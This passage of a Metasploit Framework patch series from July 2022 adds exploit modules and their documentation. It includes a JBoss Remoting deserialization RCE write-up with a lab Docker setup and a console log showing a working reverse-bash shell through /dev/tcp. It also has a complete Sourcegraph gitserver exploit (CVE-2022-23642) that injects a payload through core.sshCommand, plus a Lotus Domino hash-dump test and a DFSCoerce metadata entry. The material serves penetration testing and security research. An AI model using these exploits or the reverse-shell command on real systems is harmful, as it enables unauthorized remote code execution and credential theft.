00:06:09 +0200 + +id +uid=1000(jboss) gid=1000(jboss) groups=1000(jboss) +pwd +/opt/jboss +/opt/jboss/jboss-as-6.1/bin/run.sh --version +========================================================================= + + JBoss Bootstrap Environment + + JBOSS_HOME: /opt/jboss/jboss-as-6.1 + + JAVA: /usr/lib/jvm/java/bin/java + + JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64 + + CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar + +========================================================================= + +OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0 +JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816) + +Distributable under LGPL license. +See terms of license at gnu.org. + +exit +[*] 127.0.0.1 - Command shell session 1 closed. +msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > +``` From 50ca5f0ce27cf790213f1fa06888f8733384914e Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 5 Jul 2022 00:25:07 +0200 Subject: [PATCH 32/79] Add description --- .../multi/misc/jboss_remoting_unified_invoker_rce.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb index 9d5d9c99dc9f..4a4444e722e1 100644 --- a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb +++ b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb @@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - # include Rex::Socket::Tcp include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck @@ -17,10 +16,13 @@ def initialize(info = {}) info, 'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE', 'Description' => %q{ + An unauthenticated attacker with network access to the JBOSS + EAP/AS <= 6.x Remoting Unified Invoker interface can send a + serialized object to the interface to execute code on vulnerable hosts. }, 'Author' => [ - 'joaomatosf <@joaomatosf>', # Discovery - 'pimps <@pimps>', # PoC + 'Joao Matos <@joaomatosf>', # Discovery + 'Marcio Almeida <@marcioalm>', # PoC 'Heyder Andrade <@HeyderAndrade>' # msf module ], 'References' => [ From 1ccc91d23c686bd9de6b45aa282be248a058c989 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 5 Jul 2022 00:25:56 +0200 Subject: [PATCH 33/79] Rename doc file --- .../jboss_remoting_unified_invoker_rce.md | 153 ++++++++++++++++++ 1 file changed, 153 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md diff --git a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md new file mode 100644 index 000000000000..3daee1710a5b --- /dev/null +++ b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md @@ -0,0 +1,153 @@ +## Vulnerable Application + +### Description + +This module exploits a Java deserialization vulnerability in JBOSS +EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior. + +### Setup + +#### Dockerfile +```dokerfile +FROM jboss/base-jdk:8 + +# Set the JBOSS_VERSION env variable +ENV JBOSS_HOME /opt/jboss/jboss-as-6.1 +ENV EAP_HOME /opt/jboss/jboss-as-6.1 + +# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content +# https://jbossas.jboss.org/downloads +RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip +RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \ +&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \ +&& chmod a+x $EAP_HOME/bin/* + +# Ensure signals are forwarded to the JVM process correctly for graceful shutdown +#ENV LAUNCH_JBOSS_IN_BACKGROUND true + +# Enable binding to all network interfaces and debugging inside the EAP +RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf + +# Expose the ports we're interested in +EXPOSE 8080 9990 4447 9999 4446 3873 4445 + +# Set the default command to run on boot +# This will boot JBoss EAP in the standalone mode and bind to all interface +ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"] +``` + +#### docker-compose.yml + +```yml +version: "3" +services: + web: + build: . + ports: + - "8080:8080" + - "9990:9990" + - "4447:4447" + - "9999:9999" + - "4446:4446" + - "3873:3873" + - "4445:4445" + networks: + internet: + aliases: + - jboss-as-61 +networks: + internet: + driver: bridge +``` + +```bash +docker-compose up +``` + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Targets + +### 0 + +This executes a Unix command. + +### 1 + +This uses a Linux dropper to execute code. + +## Scenarios + +### JBoss Application Server 6.1.0 from [Docker](#setup). + +``` +msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options + +Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS localhost yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 4446 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.15 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + +msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit + +[*] Started reverse TCP handler on 192.168.1.15:4444 +[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable) +[+] 127.0.0.1:4446 - The target appears to be vulnerable. +[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash +[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70' +[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 00:06:09 +0200 + +id +uid=1000(jboss) gid=1000(jboss) groups=1000(jboss) +pwd +/opt/jboss +/opt/jboss/jboss-as-6.1/bin/run.sh --version +========================================================================= + + JBoss Bootstrap Environment + + JBOSS_HOME: /opt/jboss/jboss-as-6.1 + + JAVA: /usr/lib/jvm/java/bin/java + + JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64 + + CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar + +========================================================================= + +OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0 +JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816) + +Distributable under LGPL license. +See terms of license at gnu.org. + +exit +[*] 127.0.0.1 - Command shell session 1 closed. +msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > +``` From bbf56c7f4c629e49dcd958cc4d70ad5f5133dc67 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 5 Jul 2022 00:33:30 +0200 Subject: [PATCH 34/79] Delete jboss_remoting_unified_invoker.md --- .../misc/jboss_remoting_unified_invoker.md | 153 ------------------ 1 file changed, 153 deletions(-) delete mode 100644 documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md diff --git a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md deleted file mode 100644 index 3daee1710a5b..000000000000 --- a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md +++ /dev/null @@ -1,153 +0,0 @@ -## Vulnerable Application - -### Description - -This module exploits a Java deserialization vulnerability in JBOSS -EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior. - -### Setup - -#### Dockerfile -```dokerfile -FROM jboss/base-jdk:8 - -# Set the JBOSS_VERSION env variable -ENV JBOSS_HOME /opt/jboss/jboss-as-6.1 -ENV EAP_HOME /opt/jboss/jboss-as-6.1 - -# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content -# https://jbossas.jboss.org/downloads -RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip -RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \ -&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \ -&& chmod a+x $EAP_HOME/bin/* - -# Ensure signals are forwarded to the JVM process correctly for graceful shutdown -#ENV LAUNCH_JBOSS_IN_BACKGROUND true - -# Enable binding to all network interfaces and debugging inside the EAP -RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf - -# Expose the ports we're interested in -EXPOSE 8080 9990 4447 9999 4446 3873 4445 - -# Set the default command to run on boot -# This will boot JBoss EAP in the standalone mode and bind to all interface -ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"] -``` - -#### docker-compose.yml - -```yml -version: "3" -services: - web: - build: . - ports: - - "8080:8080" - - "9990:9990" - - "4447:4447" - - "9999:9999" - - "4446:4446" - - "3873:3873" - - "4445:4445" - networks: - internet: - aliases: - - jboss-as-61 -networks: - internet: - driver: bridge -``` - -```bash -docker-compose up -``` - -## Verification Steps - -Follow [Setup](#setup) and [Scenarios](#scenarios). - -## Targets - -### 0 - -This executes a Unix command. - -### 1 - -This uses a Linux dropper to execute code. - -## Scenarios - -### JBoss Application Server 6.1.0 from [Docker](#setup). - -``` -msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options - -Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - RHOSTS localhost yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit - RPORT 4446 yes The target port (TCP) - SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. - SRVPORT 8080 yes The local port to listen on. - SSL false no Negotiate SSL for incoming connections - SSLCert no Path to a custom SSL certificate (default is randomly generated) - URIPATH no The URI to use for this exploit (default is random) - - -Payload options (cmd/unix/reverse_bash): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.1.15 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Unix Command - - -msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit - -[*] Started reverse TCP handler on 192.168.1.15:4444 -[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable) -[+] 127.0.0.1:4446 - The target appears to be vulnerable. -[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash -[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70' -[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 00:06:09 +0200 - -id -uid=1000(jboss) gid=1000(jboss) groups=1000(jboss) -pwd -/opt/jboss -/opt/jboss/jboss-as-6.1/bin/run.sh --version -========================================================================= - - JBoss Bootstrap Environment - - JBOSS_HOME: /opt/jboss/jboss-as-6.1 - - JAVA: /usr/lib/jvm/java/bin/java - - JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64 - - CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar - -========================================================================= - -OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0 -JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816) - -Distributable under LGPL license. -See terms of license at gnu.org. - -exit -[*] 127.0.0.1 - Command shell session 1 closed. -msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > -``` From a41f6550601577e638b6daefeceaf1e5e13758af Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 5 Jul 2022 11:38:25 -0500 Subject: [PATCH 35/79] add lotus domino hash extraction spec Adds a spec targeting a single method in the `lotus_domino_hashes` module. This is a start on offering example on how a spec can be written to test part of the code in a module using example responses from a unit testing perspective. --- .../auxiliary/lotus_domino_hash_response.xml | 500 ++++++++++++++++++ .../lotus_domino_hash_response_no_cred.xml | 498 +++++++++++++++++ .../scanner/lotus/lotus_domino_hashes_spec.rb | 62 +++ 3 files changed, 1060 insertions(+) create mode 100644 spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response.xml create mode 100644 spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response_no_cred.xml create mode 100644 spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb diff --git a/spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response.xml b/spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response.xml new file mode 100644 index 000000000000..41053394af20 --- /dev/null +++ b/spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response.xml @@ -0,0 +1,500 @@ + + +Bdn Alln + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Person: Bdn Alln
+ + + +
+ + +
Basics
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + + +
+ + +

+ + + + + + + + + + + + + + + + + + + + + + + +

+Basics

+

+First name:

+Bdn

+Middle name:

+

+Last name:

+Alln

+User name:

+Bdn Alln

+Alternate name:

+ +


+Short name/UserID:

+Bdn Alln

+Personal title:

+

+Generational qualifier:

+

+Internet password:

+

+Preferred language:

+
+

+

+ + + + + + + + + + + + + + + + + + + +

+Mail

+

+Mail system:

+Notes

+Domain:

+

+Mail server:

+

+Mail file:

+portal/Alln_1.nsf

+Forwarding address:

+

+Internet address:

+

+Format preference for incoming mail:

+Keep in senders' format

+When receiving unencrypted mail, encrypt before storing in your mailfile:

+No
+ + + + + +

+Collaboration

+

+Instant messaging server:

+
+

+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + diff --git a/spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response_no_cred.xml b/spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response_no_cred.xml new file mode 100644 index 000000000000..d8f2e378eddf --- /dev/null +++ b/spec/file_fixtures/modules/auxiliary/lotus_domino_hash_response_no_cred.xml @@ -0,0 +1,498 @@ + + +Bdn Alln + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Person: Bdn Alln
+ + + +
+ + +
Basics
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + + +
+ + +

+ + + + + + + + + + + + + + + + + + + + + + + +

+Basics

+

+First name:

+Bdn

+Middle name:

+

+Last name:

+Alln

+User name:

+Bdn Alln

+Alternate name:

+ +


+Short name/UserID:

+Bdn Alln

+Personal title:

+

+Generational qualifier:

+

+Internet password:

+

+Preferred language:

+
+

+

+ + + + + + + + + + + + + + + + + + + +

+Mail

+

+Mail system:

+Notes

+Domain:

+

+Mail server:

+

+Mail file:

+portal/Alln_1.nsf

+Forwarding address:

+

+Internet address:

+

+Format preference for incoming mail:

+Keep in senders' format

+When receiving unencrypted mail, encrypt before storing in your mailfile:

+No
+ + + + + +

+Collaboration

+

+Instant messaging server:

+
+

+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + diff --git a/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb new file mode 100644 index 000000000000..c4d21d8de3ee --- /dev/null +++ b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb @@ -0,0 +1,62 @@ +require 'rspec' + +RSpec.describe 'Lotus Domino Hashes' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'scanner/lotus/lotus_domino_hashes' + ) + end + let(:view_id) do + Faker::Number.new + end + let(:cookie) do + 'invalid' + end + let(:uri) do + 'http' + end + let(:workspace) do + FactoryBot.create(:mdm_workspace) + end + let(:service) do + FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) + end + let(:result) do + resp = double(Rex::Proto::Http::Response) + allow(resp).to receive(:body).and_return(mock_doc_data) + allow(resp).to receive(:get_html_document).and_return(Nokogiri::XML(mock_doc_data)) + resp + end + let(:mock_doc_data) do + File.binread(mock_doc) + end + let(:mock_doc) do + File.expand_path('lotus_domino_hash_response.xml', FILE_FIXTURES_PATH + 'modules/auxiliary/') + end + + before do + allow(subject).to receive(:send_request_raw).and_return(result) + allow(subject).to receive(:report_service).and_return(service) + allow(subject).to receive(:report_auth_info) + end + + describe '#dump_hashes' do + it 'when provided valid XML' do + subject.dump_hashes(view_id, cookie, uri) + expect(subject).to have_received(:report_auth_info).with(hash_including({ user: 'Bdn Alln', pass: '(Da2Bd765Be64aF01b5652ce32eaA283d)', proof: a_string_matching(/NULL/) })) + end + + describe 'incomplete XML' do + let(:mock_doc) do + File.expand_path('lotus_domino_hash_response_no_cred.xml', FILE_FIXTURES_PATH + 'modules/auxiliary/') + end + it 'when provided valid XML missing a credential' do + subject.dump_hashes(view_id, cookie, uri) + expect(subject).not_to have_received(:report_auth_info) + end + end + end +end From a8c2b3bdff6370deb659ef191f6b00ba6b1ab1fe Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 5 Jul 2022 16:58:22 -0400 Subject: [PATCH 36/79] Initial exploit for CVE-2022-23642 --- .../http/sourcegraph_gitserver_sshcmd.rb | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb diff --git a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb new file mode 100644 index 000000000000..ab3f8cf05714 --- /dev/null +++ b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => '', + 'Description' => %q{ + }, + 'Author' => [ + ], + 'References' => [ + ['CVE', '2022-23642'], + ['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'], + ['URL', 'https://github.com/Altelus1/CVE-2022-23642'], + ], + 'DisclosureDate' => '2022-02-18', # Public disclosure + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory + }, + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + }, + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { + 'RPORT' => 3178 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']), + OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository']) + ]) + end + + def exploit + if datastore['EXISTING_REPO'].blank? + existing_repo = send_request_list.sample + print_status("Using automatically identified repository: #{existing_repo}") + else + existing_repo = datastore['EXISTING_REPO'] + end + + print_status("Executing #{target.name} target") + + case target['Type'] + when :unix_memory + execute_command(payload.encoded, 'repo' => existing_repo) + when :linux_dropper + execute_cmdstager('repo' => existing_repo) + end + end + + def send_request_exec(repo, args, timeout = 20) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'exec'), + 'method' => 'POST', + 'data' => { + 'Repo' => repo, + 'Args' => args + }.to_json + }, timeout) + + res + end + + def send_request_list + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'list'), + 'method' => 'GET', + 'vars_get' => { 'cloned' => 'true' } + }) + fail_with(Failure::Unreachable, 'No server response') unless res + fail_with(Failure::UnexpectedReply, 'Failed to list repositories') unless res.code == 200 && res.get_json_document.is_a?(Array) + + res.get_json_document + end + + def execute_command(cmd, opts = {}) + repo = opts['repo'] + + vprint_status('Setting the sshCommand') + send_request_exec(repo, ['config', 'core.sshCommand', cmd]) + + vprint_status('Setting a fake origin') + origin = Rex::Text.rand_text_alphanumeric(rand(4..11)) + send_request_exec(repo, ['remote', 'add', origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"]) + + vprint_status('Triggering command using push') + send_request_exec(repo, ['push', origin, 'master'], 5) + + send_request_exec(repo, ['remote', 'remove', origin]) + end + +end From c092291236c016c9963d0b526682bfd9ce6e1231 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 6 Jul 2022 15:34:25 -0400 Subject: [PATCH 37/79] Bump ruby_smb to 3.1.6 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index c92182d70449..9bbfb16247ea 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -427,7 +427,7 @@ GEM ruby-progressbar (1.11.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.1.5) + ruby_smb (3.1.6) bindata openssl-ccm openssl-cmac From eb6535009f5fdafa954525687f09294918b5398d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 6 Jul 2022 18:38:41 -0500 Subject: [PATCH 38/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 44 ++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 863a063d0706..257c596da22c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -22249,6 +22249,48 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/dcerpc/dfscoerce": { + "name": "DFSCoerce", + "fullname": "auxiliary/scanner/dcerpc/dfscoerce", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Wh04m1001", + "xct_de", + "Spencer McIntyre" + ], + "description": "Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.", + "references": [ + "URL-https://github.com/Wh04m1001/DFSCoerce" + ], + "platform": "", + "arch": "", + "rport": 445, + "autofilter_ports": [ + 139, + 445 + ], + "autofilter_services": [ + "netbios-ssn", + "microsoft-ds" + ], + "targets": null, + "mod_time": "2022-06-30 17:38:30 +0000", + "path": "/modules/auxiliary/scanner/dcerpc/dfscoerce.rb", + "is_install_path": true, + "ref_name": "scanner/dcerpc/dfscoerce", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/dcerpc/endpoint_mapper": { "name": "Endpoint Mapper Service Discovery", "fullname": "auxiliary/scanner/dcerpc/endpoint_mapper", @@ -22394,7 +22436,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2022-01-31 13:50:19 +0000", + "mod_time": "2022-06-30 15:12:23 +0000", "path": "/modules/auxiliary/scanner/dcerpc/petitpotam.rb", "is_install_path": true, "ref_name": "scanner/dcerpc/petitpotam", From 7d323387021798d61aab819020341827e1cedb44 Mon Sep 17 00:00:00 2001 From: kalba-security Date: Thu, 7 Jul 2022 05:26:59 -0700 Subject: [PATCH 39/79] remove ARTIFACTS_ON_DISK from weblogic_deserialize_asyncresponseservice notes --- .../multi/misc/weblogic_deserialize_asyncresponseservice.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb index 7b352ed51e83..110e0e6df466 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb @@ -74,7 +74,7 @@ def initialize(info = {}) 'DisclosureDate' => '2019-04-23', 'Notes' => { 'Stability' => [ CRASH_SAFE ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) From e7134d5244086d3dfe3d3b165d657e66d485d715 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 7 Jul 2022 08:26:46 -0500 Subject: [PATCH 40/79] code review adjusments for double and context --- .../scanner/lotus/lotus_domino_hashes_spec.rb | 21 +++++++++++-------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb index c4d21d8de3ee..3a793b1719fb 100644 --- a/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb +++ b/spec/modules/auxiliary/scanner/lotus/lotus_domino_hashes_spec.rb @@ -13,7 +13,7 @@ Faker::Number.new end let(:cookie) do - 'invalid' + 'mock-cookie' end let(:uri) do 'http' @@ -25,10 +25,11 @@ FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) end let(:result) do - resp = double(Rex::Proto::Http::Response) - allow(resp).to receive(:body).and_return(mock_doc_data) - allow(resp).to receive(:get_html_document).and_return(Nokogiri::XML(mock_doc_data)) - resp + instance_double( + Rex::Proto::Http::Response, + body: mock_doc_data, + get_html_document: Nokogiri::XML(mock_doc_data) + ) end let(:mock_doc_data) do File.binread(mock_doc) @@ -44,12 +45,14 @@ end describe '#dump_hashes' do - it 'when provided valid XML' do - subject.dump_hashes(view_id, cookie, uri) - expect(subject).to have_received(:report_auth_info).with(hash_including({ user: 'Bdn Alln', pass: '(Da2Bd765Be64aF01b5652ce32eaA283d)', proof: a_string_matching(/NULL/) })) + context 'when the service response contains credentials' do + it 'reports the extracted user and password' do + subject.dump_hashes(view_id, cookie, uri) + expect(subject).to have_received(:report_auth_info).with(hash_including({ user: 'Bdn Alln', pass: '(Da2Bd765Be64aF01b5652ce32eaA283d)', proof: a_string_matching(/NULL/) })) + end end - describe 'incomplete XML' do + context 'when the service response does not contain credentials' do let(:mock_doc) do File.expand_path('lotus_domino_hash_response_no_cred.xml', FILE_FIXTURES_PATH + 'modules/auxiliary/') end From 